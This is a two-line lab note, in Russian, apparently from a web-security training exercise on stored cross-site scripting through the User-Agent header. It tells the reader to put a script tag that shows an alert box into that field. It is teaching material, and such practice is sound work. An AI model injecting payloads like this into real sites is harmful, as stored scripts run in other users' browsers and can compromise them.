Cross-Site Scripting - Stored (User-Agent)

В поле User-Agent вставляем payload

<script>alert("daniil")</script>